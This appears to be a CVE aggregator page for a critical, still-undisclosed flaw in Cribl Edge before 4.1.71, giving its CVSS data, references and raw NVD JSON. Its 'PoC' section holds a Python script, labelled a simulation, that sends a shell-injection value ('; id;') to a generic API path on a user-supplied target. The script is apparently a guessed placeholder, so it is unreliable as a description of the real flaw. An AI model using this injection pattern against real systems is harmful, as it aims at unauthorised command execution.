CVE-2026-45393

Description

Reserved. Details will be published at disclosure.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Cribl Edge < 4.1.71

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-45393 Proof of Concept (Simulation)
# Target: Cribl Edge < 4.1.71

def exploit(target_url):
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/json"
    }
    # Malicious payload simulation (e.g., command injection via specific API endpoint)
    payload = {
        "config": {
            "command": "; id;" # Example command injection payload
        }
    }
    
    try:
        # Sending request to the vulnerable endpoint
        response = requests.post(f"{target_url}/api/v1/endpoint", json=payload, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully. Check for command execution.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Failed to exploit. Status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target = input("Enter target URL (e.g., http://127.0.0.1:9000): ")
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45393
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45393
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45393/
[4] VulDB https://vuldb.com/cve/CVE-2026-45393
[5] https://docs.cribl.io/edge/release-notes/release-v4171#security-fixes
[6] https://trust.cribl.io/notifications

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45393", "sourceIdentifier": "af879a92-7297-456a-bb0e-905ac6c64bdc", "published": "2026-05-12T02:16:13.310", "lastModified": "2026-05-15T21:16:37.313", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reserved. Details will be published at disclosure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://docs.cribl.io/edge/release-notes/release-v4171#security-fixes", "source": "af879a92-7297-456a-bb0e-905ac6c64bdc"}, {"url": "https://trust.cribl.io/notifications", "source": "af879a92-7297-456a-bb0e-905ac6c64bdc"}]}}